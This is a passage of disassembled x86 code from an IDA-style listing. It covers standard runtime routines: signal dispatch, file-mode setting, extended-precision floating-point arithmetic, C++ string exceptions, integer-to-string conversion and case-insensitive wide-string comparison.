		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_425BDE:				; CODE XREF: sub_425973+239j
					; sub_425973+275j
		cmp	eax, ecx
		jb	short loc_425BEE
		cmp	byte ptr [eax],	30h
		jnz	short loc_425BEA
		dec	eax
		jmp	short loc_425BDE
; ---------------------------------------------------------------------------


loc_425BEA:				; CODE XREF: sub_425973+272j
		cmp	eax, ecx
		jnb	short loc_425BC7


loc_425BEE:				; CODE XREF: sub_425973+26Dj
		and	word ptr [ebx],	0
		mov	byte ptr [ebx+2], 20h
		mov	byte ptr [ebx+3], 1
		mov	byte ptr [ecx],	30h


loc_425BFD:				; CODE XREF: sub_425973+87j
		and	byte ptr [ebx+5], 0
		push	1
		pop	eax
		jmp	short loc_425BD9
sub_425973	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425C06	proc near		; CODE XREF: sub_422DFC+21DDp

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	eax, edi
		dec	eax
		dec	eax
		jz	short loc_425C6D
		dec	eax
		dec	eax
		jz	short loc_425C5E
		sub	eax, 4
		jz	short loc_425C5E
		sub	eax, 3
		jz	short loc_425C5E
		sub	eax, 4
		jz	short loc_425C51
		sub	eax, 6
		jz	short loc_425C44
		dec	eax
		jz	short loc_425C37
		or	eax, 0FFFFFFFFh
		jmp	loc_425D2F
; ---------------------------------------------------------------------------


loc_425C37:				; CODE XREF: sub_425C06+27j
		mov	esi, dword_4DC004
		mov	eax, offset dword_4DC004
		jmp	short loc_425C78
; ---------------------------------------------------------------------------


loc_425C44:				; CODE XREF: sub_425C06+24j
		mov	esi, dword_4DC000
		mov	eax, offset dword_4DC000
		jmp	short loc_425C78
; ---------------------------------------------------------------------------


loc_425C51:				; CODE XREF: sub_425C06+1Fj
		mov	esi, dword_4DC008
		mov	eax, offset dword_4DC008
		jmp	short loc_425C78
; ---------------------------------------------------------------------------


loc_425C5E:				; CODE XREF: sub_425C06+10j
					; sub_425C06+15j ...
		push	edi
		call	sub_425D33
		mov	esi, [eax+8]
		add	eax, 8
		pop	ecx
		jmp	short loc_425C78
; ---------------------------------------------------------------------------


loc_425C6D:				; CODE XREF: sub_425C06+Cj
		mov	esi, dword_4DBFFC
		mov	eax, offset dword_4DBFFC


loc_425C78:				; CODE XREF: sub_425C06+3Cj
					; sub_425C06+49j ...
		cmp	esi, 1
		jnz	short loc_425C84
		xor	eax, eax
		jmp	loc_425D2F
; ---------------------------------------------------------------------------


loc_425C84:				; CODE XREF: sub_425C06+75j
		test	esi, esi
		jnz	short loc_425C8F
		push	3
		call	sub_41C1A2


loc_425C8F:				; CODE XREF: sub_425C06+80j
		push	ebx
		push	8
		pop	ecx
		cmp	edi, ecx
		jz	short loc_425CA1
		cmp	edi, 0Bh
		jz	short loc_425CA1
		cmp	edi, 4
		jnz	short loc_425CC7


loc_425CA1:				; CODE XREF: sub_425C06+8Fj
					; sub_425C06+94j
		mov	ebx, dword_4DBE9C
		and	dword_4DBE9C, 0
		cmp	edi, ecx
		jnz	short loc_425CF6
		mov	edx, dword_43D4CC
		mov	dword_43D4CC, 8Ch
		mov	[ebp+arg_0], edx
		jmp	short loc_425CCA
; ---------------------------------------------------------------------------


loc_425CC7:				; CODE XREF: sub_425C06+99j
		mov	ebx, [ebp+arg_0]


loc_425CCA:				; CODE XREF: sub_425C06+BFj
		cmp	edi, ecx
		jnz	short loc_425CF6
		mov	eax, dword_43D4C0
		mov	ecx, dword_43D4C4
		add	ecx, eax
		cmp	eax, ecx
		jge	short loc_425CFD
		lea	edx, [eax+eax*2]
		sub	ecx, eax
		lea	edx, ds:43D450h[edx*4]


loc_425CEB:				; CODE XREF: sub_425C06+ECj
		and	dword ptr [edx], 0
		add	edx, 0Ch
		dec	ecx
		jnz	short loc_425CEB
		jmp	short loc_425CFD
; ---------------------------------------------------------------------------


loc_425CF6:				; CODE XREF: sub_425C06+AAj
					; sub_425C06+C6j
		and	dword ptr [eax], 0
		cmp	edi, ecx
		jnz	short loc_425D0B


loc_425CFD:				; CODE XREF: sub_425C06+D7j
					; sub_425C06+EEj
		push	dword_43D4CC
		push	8
		call	esi
		pop	ecx
		pop	ecx
		jmp	short loc_425D19
; ---------------------------------------------------------------------------


loc_425D0B:				; CODE XREF: sub_425C06+F5j
		push	edi
		call	esi
		cmp	edi, 0Bh
		pop	ecx
		jz	short loc_425D19
		cmp	edi, 4
		jnz	short loc_425D2C


loc_425D19:				; CODE XREF: sub_425C06+103j
					; sub_425C06+10Cj
		cmp	edi, 8
		mov	dword_4DBE9C, ebx
		jnz	short loc_425D2C
		mov	eax, [ebp+arg_0]
		mov	dword_43D4CC, eax


loc_425D2C:				; CODE XREF: sub_425C06+111j
					; sub_425C06+11Cj
		xor	eax, eax
		pop	ebx


loc_425D2F:				; CODE XREF: sub_425C06+2Cj
					; sub_425C06+79j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_425C06	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_425D33	proc near		; CODE XREF: sub_425C06+59p

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	ecx, dword_43D4C8
		cmp	dword_43D44C, edx
		push	esi
		mov	eax, offset dword_43D448
		jz	short loc_425D61
		lea	esi, [ecx+ecx*2]
		lea	esi, ds:43D448h[esi*4]


loc_425D55:				; CODE XREF: sub_425D33+2Cj
		add	eax, 0Ch
		cmp	eax, esi
		jnb	short loc_425D61
		cmp	[eax+4], edx
		jnz	short loc_425D55


loc_425D61:				; CODE XREF: sub_425D33+16j
					; sub_425D33+27j
		lea	ecx, [ecx+ecx*2]
		pop	esi
		lea	ecx, ds:43D448h[ecx*4]
		cmp	eax, ecx
		jnb	short loc_425D75
		cmp	[eax+4], edx
		jz	short locret_425D77


loc_425D75:				; CODE XREF: sub_425D33+3Bj
		xor	eax, eax

locret_425D77:				; CODE XREF: sub_425D33+40j
		retn
sub_425D33	endp


; =============== S U B	R O U T	I N E =======================================



sub_425D78	proc near		; CODE XREF: sub_4251BB+8Bp
					; sub_4251BB+D9p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		cmp	eax, dword_4DD140
		jnb	short loc_425DDF
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_4DD040[ecx*4]
		lea	edx, [ecx+eax*8+4]
		mov	cl, [ecx+eax*8+4]
		test	cl, 1
		jz	short loc_425DDF
		mov	al, cl
		mov	esi, 8000h
		and	eax, 80h
		cmp	[esp+4+arg_4], esi
		jnz	short loc_425DB8
		and	cl, 7Fh
		jmp	short loc_425DC5
; ---------------------------------------------------------------------------


loc_425DB8:				; CODE XREF: sub_425D78+39j
		cmp	[esp+4+arg_4], 4000h
		jnz	short loc_425DD3
		or	cl, 80h


loc_425DC5:				; CODE XREF: sub_425D78+3Ej
		neg	eax
		sbb	eax, eax
		mov	[edx], cl
		and	ax, 0C000h
		add	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_425DD3:				; CODE XREF: sub_425D78+48j
		mov	dword_4DBDDC, 16h
		jmp	short loc_425DE9
; ---------------------------------------------------------------------------


loc_425DDF:				; CODE XREF: sub_425D78+Bj
					; sub_425D78+27j
		mov	dword_4DBDDC, 9


loc_425DE9:				; CODE XREF: sub_425D78+65j
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_425D78	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425DEE	proc near		; CODE XREF: sub_425973+165p
					; sub_42600E+69p

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_0]
		mov	cx, [ebx+0Ah]
		xor	eax, eax
		push	edi
		mov	[ebp+var_14], eax
		mov	[ebp+var_24], eax
		mov	[ebp+var_20], eax
		mov	[ebp+var_1C], eax
		mov	ax, [esi+0Ah]
		mov	edi, ecx
		mov	edx, 7FFFh
		xor	edi, eax
		and	eax, edx
		and	ecx, edx
		and	edi, 8000h
		cmp	ax, 7FFFh
		lea	edx, [ecx+eax]
		mov	[ebp+arg_0], edx
		jnb	loc_425FEE
		cmp	cx, 7FFFh
		jnb	loc_425FEE
		cmp	dx, 0BFFDh
		ja	loc_425FEE
		cmp	dx, 3FBFh
		ja	short loc_425E57
		xor	eax, eax
		jmp	short loc_425E91
; ---------------------------------------------------------------------------


loc_425E57:				; CODE XREF: sub_425DEE+63j
		test	ax, ax
		mov	edx, 7FFFFFFFh
		jnz	short loc_425E79
		inc	[ebp+arg_0]
		test	[esi+8], edx
		jnz	short loc_425E79
		xor	eax, eax
		cmp	[esi+4], eax
		jnz	short loc_425E7B
		cmp	[esi], eax
		jnz	short loc_425E7B
		jmp	loc_425FE8
; ---------------------------------------------------------------------------


loc_425E79:				; CODE XREF: sub_425DEE+71j
					; sub_425DEE+79j
		xor	eax, eax


loc_425E7B:				; CODE XREF: sub_425DEE+80j
					; sub_425DEE+84j
		cmp	cx, ax
		jnz	short loc_425E9E
		inc	[ebp+arg_0]
		test	[ebx+8], edx
		jnz	short loc_425E9E
		cmp	[ebx+4], eax
		jnz	short loc_425E9E
		cmp	[ebx], eax
		jnz	short loc_425E9E


loc_425E91:				; CODE XREF: sub_425DEE+67j
		mov	[esi+8], eax
		mov	[esi+4], eax
		mov	[esi], eax
		jmp	loc_426009
; ---------------------------------------------------------------------------


loc_425E9E:				; CODE XREF: sub_425DEE+90j
					; sub_425DEE+98j ...
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_20]
		mov	[ebp+var_4], eax
		mov	[ebp+arg_4], 5


loc_425EAE:				; CODE XREF: sub_425DEE+122j
		mov	eax, [ebp+var_10]
		add	eax, eax
		cmp	[ebp+arg_4], 0
		jle	short loc_425F02
		add	eax, esi
		lea	ecx, [ebx+8]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_C], ecx
		mov	[ebp+var_18], eax


loc_425ECA:				; CODE XREF: sub_425DEE+112j
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_C]
		movzx	eax, word ptr [eax]
		movzx	ecx, word ptr [ecx]
		imul	eax, ecx
		mov	ecx, [ebp+var_4]
		add	ecx, 0FFFFFFFCh
		push	ecx
		push	eax
		push	dword ptr [ecx]
		call	sub_425301
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_425EF5
		mov	eax, [ebp+var_4]
		inc	word ptr [eax]


loc_425EF5:				; CODE XREF: sub_425DEE+FFj
		add	[ebp+var_8], 2
		sub	[ebp+var_C], 2
		dec	[ebp+var_18]
		jnz	short loc_425ECA


loc_425F02:				; CODE XREF: sub_425DEE+C9j
		add	[ebp+var_4], 2
		inc	[ebp+var_10]
		dec	[ebp+arg_4]
		cmp	[ebp+arg_4], 0
		jg	short loc_425EAE
		add	[ebp+arg_0], 0C002h
		cmp	word ptr [ebp+arg_0], 0
		jle	short loc_425F45


loc_425F20:				; CODE XREF: sub_425DEE+14Ej
		test	byte ptr [ebp+var_1C+3], 80h
		jnz	short loc_425F3E
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_425380
		add	[ebp+arg_0], 0FFFFh
		pop	ecx
		cmp	word ptr [ebp+arg_0], 0
		jg	short loc_425F20


loc_425F3E:				; CODE XREF: sub_425DEE+136j
		cmp	word ptr [ebp+arg_0], 0
		jg	short loc_425F7E


loc_425F45:				; CODE XREF: sub_425DEE+130j
		add	[ebp+arg_0], 0FFFFh
		cmp	word ptr [ebp+arg_0], 0
		jge	short loc_425F7E
		movsx	eax, word ptr [ebp+arg_0]
		neg	eax
		add	[ebp+arg_0], eax
		mov	ebx, eax


loc_425F5E:				; CODE XREF: sub_425DEE+184j
		test	byte ptr [ebp+var_24], 1
		jz	short loc_425F67
		inc	[ebp+var_14]


loc_425F67:				; CODE XREF: sub_425DEE+174j
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_4253AE
		dec	ebx
		pop	ecx
		jnz	short loc_425F5E
		cmp	[ebp+var_14], 0
		jz	short loc_425F7E
		or	byte ptr [ebp+var_24], 1


loc_425F7E:				; CODE XREF: sub_425DEE+155j
					; sub_425DEE+163j ...
		cmp	word ptr [ebp+var_24], 8000h
		ja	short loc_425F95
		mov	eax, [ebp+var_24]
		and	eax, 1FFFFh
		cmp	eax, 18000h
		jnz	short loc_425FCA


loc_425F95:				; CODE XREF: sub_425DEE+196j
		cmp	[ebp+var_24+2],	0FFFFFFFFh
		jnz	short loc_425FC7
		and	[ebp+var_24+2],	0
		cmp	[ebp+var_20+2],	0FFFFFFFFh
		jnz	short loc_425FC2
		and	[ebp+var_20+2],	0
		cmp	word ptr [ebp+var_1C+2], 0FFFFh
		jnz	short loc_425FBC
		inc	[ebp+arg_0]
		mov	word ptr [ebp+var_1C+2], 8000h
		jmp	short loc_425FCA
; ---------------------------------------------------------------------------


loc_425FBC:				; CODE XREF: sub_425DEE+1C1j
		inc	word ptr [ebp+var_1C+2]
		jmp	short loc_425FCA
; ---------------------------------------------------------------------------


loc_425FC2:				; CODE XREF: sub_425DEE+1B5j
		inc	[ebp+var_20+2]
		jmp	short loc_425FCA
; ---------------------------------------------------------------------------


loc_425FC7:				; CODE XREF: sub_425DEE+1ABj
		inc	[ebp+var_24+2]


loc_425FCA:				; CODE XREF: sub_425DEE+1A5j
					; sub_425DEE+1CCj ...
		mov	eax, [ebp+arg_0]
		cmp	ax, 7FFFh
		jnb	short loc_425FEE
		mov	cx, word ptr [ebp+var_24+2]
		or	eax, edi
		mov	[esi], cx
		mov	ecx, [ebp+var_20]
		mov	[esi+2], ecx
		mov	ecx, [ebp+var_1C]
		mov	[esi+6], ecx


loc_425FE8:				; CODE XREF: sub_425DEE+86j
		mov	[esi+0Ah], ax
		jmp	short loc_426009
; ---------------------------------------------------------------------------


loc_425FEE:				; CODE XREF: sub_425DEE+42j
					; sub_425DEE+4Dj ...
		neg	di
		sbb	edi, edi
		and	dword ptr [esi+4], 0
		and	edi, 80000000h
		add	edi, 7FFF8000h
		and	dword ptr [esi], 0
		mov	[esi+8], edi


loc_426009:				; CODE XREF: sub_425DEE+ABj
					; sub_425DEE+1FEj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_425DEE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42600E	proc near		; CODE XREF: sub_4254A2+440p
					; sub_425973+14Cp

var_C		= byte ptr -0Ch
var_A		= dword	ptr -0Ah
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		mov	ebx, offset dword_43D828
		xor	ecx, ecx
		sub	ebx, 60h
		cmp	[ebp+arg_4], ecx
		jz	short loc_426087
		jge	short loc_426036
		mov	eax, [ebp+arg_4]
		mov	ebx, offset dword_43D988
		neg	eax
		mov	[ebp+arg_4], eax
		sub	ebx, 60h


loc_426036:				; CODE XREF: sub_42600E+16j
		cmp	[ebp+arg_8], ecx
		jnz	short loc_426041
		mov	eax, [ebp+arg_0]
		mov	[eax], cx


loc_426041:				; CODE XREF: sub_42600E+2Bj
		cmp	[ebp+arg_4], ecx
		jz	short loc_426087
		push	esi
		push	edi


loc_426048:				; CODE XREF: sub_42600E+75j
		mov	eax, [ebp+arg_4]
		add	ebx, 54h
		sar	[ebp+arg_4], 3
		and	eax, 7
		cmp	eax, ecx
		jz	short loc_426080
		lea	eax, [eax+eax*2]
		cmp	word ptr [ebx+eax*4], 8000h
		lea	esi, [ebx+eax*4]
		jb	short loc_426073
		lea	edi, [ebp+var_C]
		movsd
		movsd
		movsd
		dec	[ebp+var_A]
		lea	esi, [ebp+var_C]


loc_426073:				; CODE XREF: sub_42600E+57j
		push	esi
		push	[ebp+arg_0]
		call	sub_425DEE
		pop	ecx
		pop	ecx
		xor	ecx, ecx


loc_426080:				; CODE XREF: sub_42600E+49j
		cmp	[ebp+arg_4], ecx
		jnz	short loc_426048
		pop	edi
		pop	esi


loc_426087:				; CODE XREF: sub_42600E+14j
					; sub_42600E+36j
		pop	ebx
		leave
		retn
sub_42600E	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_426090	proc near		; CODE XREF: sub_426173+19p
					; sub_42629A+19p

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		mov	[esi+0Ch], eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		push	[esp+8+arg_0]
		mov	ecx, esi
		call	sub_40D9B3
		mov	eax, esi
		pop	esi
		retn	8
sub_426090	endp


; =============== S U B	R O U T	I N E =======================================



sub_4260BA	proc near		; CODE XREF: ___:004260E5p
					; sub_426168+6j ...
		push	esi
		mov	esi, ecx
		push	1
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_427C90
		call	sub_40D977
		mov	ecx, esi
		pop	esi
		jmp	sub_426564
sub_4260BA	endp


; =============== S U B	R O U T	I N E =======================================



sub_4260D5	proc near		; DATA XREF: ___:00427C94o
					; ___:00427CA4o ...
		mov	eax, [ecx+10h]
		test	eax, eax
		jnz	short locret_4260E1
		mov	eax, offset dword_427688

locret_4260E1:				; CODE XREF: sub_4260D5+5j
		retn
sub_4260D5	endp

; ---------------------------------------------------------------------------


loc_4260E2:				; DATA XREF: ___:off_427C90o
		push	esi
		mov	esi, ecx
		call	sub_4260BA
		test	byte ptr [esp+8], 1
		jz	short loc_4260F8
		push	esi
		call	sub_41D65F
		pop	ecx


loc_4260F8:				; CODE XREF: ___:004260EFj
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_4260FE	proc near		; CODE XREF: sub_426173+29p
		mov	eax, offset loc_426AE2
		call	sub_41D640
		push	ecx
		push	ecx
		push	esi
		lea	eax, [ebp-10h]
		mov	esi, ecx
		push	eax
		mov	[ebp-14h], esi
		mov	dword ptr [ebp-10h], offset dword_427CAC
		call	sub_4264DD
		push	dword ptr [ebp+8]
		and	dword ptr [ebp-4], 0
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_427C90
		call	sub_4261B0
		mov	ecx, [ebp-0Ch]
		mov	dword ptr [esi], offset	off_427CA0
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		leave
		retn	4
sub_4260FE	endp


; =============== S U B	R O U T	I N E =======================================



sub_42614C	proc near		; DATA XREF: ___:off_427CA0o

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_426168
		test	[esp+4+arg_0], 1
		jz	short loc_426162
		push	esi
		call	sub_41D65F
		pop	ecx


loc_426162:				; CODE XREF: sub_42614C+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_42614C	endp


; =============== S U B	R O U T	I N E =======================================



sub_426168	proc near		; CODE XREF: sub_42614C+3p
					; DATA XREF: ___:00428014o
		mov	dword ptr [ecx], offset	off_427CA0
		jmp	sub_4260BA
sub_426168	endp


; =============== S U B	R O U T	I N E =======================================



sub_426173	proc near		; CODE XREF: sub_40D824+13p
					; sub_40D9E8+Ep
		mov	eax, offset loc_426AF4
		call	sub_41D640
		sub	esp, 30h
		lea	eax, [ebp-0Dh]
		push	eax
		push	offset aInvalidStringP ; "invalid string position"
		lea	ecx, [ebp-20h]
		call	sub_426090
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-20h]
		push	eax
		lea	ecx, [ebp-3Ch]
		call	sub_4260FE
		push	offset dword_428010
		lea	eax, [ebp-3Ch]
		push	eax
		call	sub_426587
		int	3		; Trap to Debugger
sub_426173	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4261B0	proc near		; CODE XREF: sub_4260FE+32p
					; sub_4261D0+32p ...

arg_0		= dword	ptr  4

		push	esi
		xor	eax, eax
		push	0FFFFFFFFh
		mov	esi, ecx
		push	eax
		push	[esp+0Ch+arg_0]
		mov	[esi+4], eax
		mov	[esi+8], eax
		mov	[esi+0Ch], eax
		call	sub_40D824
		mov	eax, esi
		pop	esi
		retn	4
sub_4261B0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4261D0	proc near		; CODE XREF: sub_42629A+29p
		mov	eax, offset loc_426B06
		call	sub_41D640
		push	ecx
		push	ecx
		push	esi
		lea	eax, [ebp-10h]
		mov	esi, ecx
		push	eax
		mov	[ebp-14h], esi
		mov	dword ptr [ebp-10h], offset dword_427CAC
		call	sub_4264DD
		push	dword ptr [ebp+8]
		and	dword ptr [ebp-4], 0
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_427C90
		call	sub_4261B0
		mov	ecx, [ebp-0Ch]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		leave
		retn	4
sub_4261D0	endp


; =============== S U B	R O U T	I N E =======================================



sub_426218	proc near		; CODE XREF: sub_426282+7p
					; sub_4262DE+7p ...
		mov	eax, offset loc_426B18
		call	sub_41D640
		push	ecx
		push	esi
		push	edi
		mov	edi, [ebp+8]
		mov	esi, ecx
		push	edi
		mov	[ebp-10h], esi
		call	sub_42651A
		and	dword ptr [ebp-4], 0
		add	edi, 0Ch
		push	edi
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_427C90
		call	sub_4261B0
		mov	ecx, [ebp-0Ch]
		pop	edi
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		leave
		retn	4
sub_426218	endp


; =============== S U B	R O U T	I N E =======================================



sub_42625B	proc near		; DATA XREF: ___:off_427CCCo

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_426277
		test	[esp+4+arg_0], 1
		jz	short loc_426271
		push	esi
		call	sub_41D65F
		pop	ecx


loc_426271:				; CODE XREF: sub_42625B+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_42625B	endp


; =============== S U B	R O U T	I N E =======================================



sub_426277	proc near		; CODE XREF: sub_42625B+3p
					; DATA XREF: ___:004280BCo
		mov	dword ptr [ecx], offset	off_427CCC
		jmp	sub_4260BA
sub_426277	endp


; =============== S U B	R O U T	I N E =======================================



sub_426282	proc near		; CODE XREF: sub_4262F6+46p

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		call	sub_426218
		mov	dword ptr [esi], offset	off_427CA0
		mov	eax, esi
		pop	esi
		retn	4
sub_426282	endp


; =============== S U B	R O U T	I N E =======================================



sub_42629A	proc near		; CODE XREF: sub_40D774+15p
					; sub_40D7CD+15p ...
		mov	eax, offset loc_426B2A
		call	sub_41D640
		sub	esp, 30h
		lea	eax, [ebp-0Dh]
		push	eax
		push	offset aStringTooLong ;	"string	too long"
		lea	ecx, [ebp-20h]
		call	sub_426090
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-20h]
		push	eax
		lea	ecx, [ebp-3Ch]
		call	sub_4261D0
		push	offset dword_4280B8
		lea	eax, [ebp-3Ch]
		push	eax
		mov	dword ptr [ebp-3Ch], offset off_427CCC
		call	sub_426587
		int	3		; Trap to Debugger
sub_42629A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4262DE	proc near		; CODE XREF: sub_4262F6+28p

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		call	sub_426218
		mov	dword ptr [esi], offset	off_427CCC
		mov	eax, esi
		pop	esi
		retn	4
sub_4262DE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_4262F6	proc near		; DATA XREF: ___:00427C98o

var_1C		= byte ptr -1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_426218
		push	offset dword_4280F8
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_426587
		int	3		; Trap to Debugger


loc_426314:				; DATA XREF: ___:00427CD4o
		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_4262DE
		push	offset dword_4280B8
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_426587
		int	3		; Trap to Debugger


loc_426332:				; DATA XREF: ___:00427CA8o
		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_426282
		push	offset dword_428010
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_426587
		int	3		; Trap to Debugger
sub_4262F6	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_426350	proc near		; CODE XREF: sub_40D104+5Ep
					; ___:00415771p ...
		nop
		jmp	near ptr 71AB1B7Bh
sub_426350	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_426356	proc near		; CODE XREF: sub_41D2AC+23p
					; sub_41D550+13p
		nop
		jmp	near ptr 2880000h
sub_426356	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42635C	proc near		; CODE XREF: ___:0040B091p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 0Ah
		jnz	short loc_426371
		cmp	[ebp+arg_0], 0
		jge	short loc_426371
		push	1
		push	0Ah
		jmp	short loc_426376
; ---------------------------------------------------------------------------


loc_426371:				; CODE XREF: sub_42635C+7j
					; sub_42635C+Dj
		push	0
		push	[ebp+arg_8]


loc_426376:				; CODE XREF: sub_42635C+13j
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_426389
		mov	eax, [ebp+arg_4]
		add	esp, 10h
		pop	ebp
		retn
sub_42635C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426389	proc near		; CODE XREF: sub_42635C+20p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_C], 0
		mov	ecx, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		jz	short loc_4263A3
		mov	esi, [ebp+arg_0]
		mov	byte ptr [ecx],	2Dh
		inc	ecx
		neg	esi
		jmp	short loc_4263A6
; ---------------------------------------------------------------------------


loc_4263A3:				; CODE XREF: sub_426389+Dj
		mov	esi, [ebp+arg_0]


loc_4263A6:				; CODE XREF: sub_426389+18j
		mov	edi, ecx


loc_4263A8:				; CODE XREF: sub_426389+43j
		mov	eax, esi
		xor	edx, edx
		div	[ebp+arg_8]
		mov	eax, esi
		mov	ebx, edx
		xor	edx, edx
		div	[ebp+arg_8]
		cmp	ebx, 9
		mov	esi, eax
		jbe	short loc_4263C4
		add	bl, 57h
		jmp	short loc_4263C7
; ---------------------------------------------------------------------------


loc_4263C4:				; CODE XREF: sub_426389+34j
		add	bl, 30h


loc_4263C7:				; CODE XREF: sub_426389+39j
		mov	[ecx], bl
		inc	ecx
		test	esi, esi
		ja	short loc_4263A8
		and	byte ptr [ecx],	0
		dec	ecx


loc_4263D2:				; CODE XREF: sub_426389+55j
		mov	dl, [edi]
		mov	al, [ecx]
		mov	[ecx], dl
		mov	[edi], al
		dec	ecx
		inc	edi
		cmp	edi, ecx
		jb	short loc_4263D2
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_426389	endp


; =============== S U B	R O U T	I N E =======================================



sub_4263E5	proc near		; CODE XREF: sub_41761C+E2p
					; sub_41761C+F9p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	dword_4DBE84, 0
		push	ebx
		jnz	short loc_42642B
		mov	edx, [esp+4+arg_4]
		mov	ecx, [esp+4+arg_0]


loc_4263F7:				; CODE XREF: sub_4263E5+42j
		mov	bx, [ecx]
		cmp	bx, 5Ah
		ja	short loc_426409
		cmp	bx, 41h
		jb	short loc_426409
		add	ebx, 20h


loc_426409:				; CODE XREF: sub_4263E5+19j
					; sub_4263E5+1Fj
		mov	ax, [edx]
		cmp	ax, 5Ah
		ja	short loc_42641B
		cmp	ax, 41h
		jb	short loc_42641B
		add	eax, 20h


loc_42641B:				; CODE XREF: sub_4263E5+2Bj
					; sub_4263E5+31j
		inc	ecx
		inc	ecx
		inc	edx
		inc	edx
		test	bx, bx
		jz	short loc_42645B
		cmp	bx, ax
		jz	short loc_4263F7
		jmp	short loc_42645B
; ---------------------------------------------------------------------------


loc_42642B:				; CODE XREF: sub_4263E5+8j
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		mov	edi, [esp+0Ch+arg_4]


loc_426435:				; CODE XREF: sub_4263E5+72j
		mov	ax, [esi]
		inc	esi
		push	eax
		inc	esi
		call	sub_4265C1
		mov	ebx, eax
		mov	ax, [edi]
		inc	edi
		push	eax
		inc	edi
		call	sub_4265C1
		pop	ecx
		test	bx, bx
		pop	ecx
		jz	short loc_426459
		cmp	bx, ax
		jz	short loc_426435


loc_426459:				; CODE XREF: sub_4263E5+6Dj
		pop	edi
		pop	esi


loc_42645B:				; CODE XREF: sub_4263E5+3Dj
					; sub_4263E5+44j
		movzx	ecx, ax
		movzx	eax, bx
		sub	eax, ecx
		pop	ebx
		retn
sub_4263E5	endp


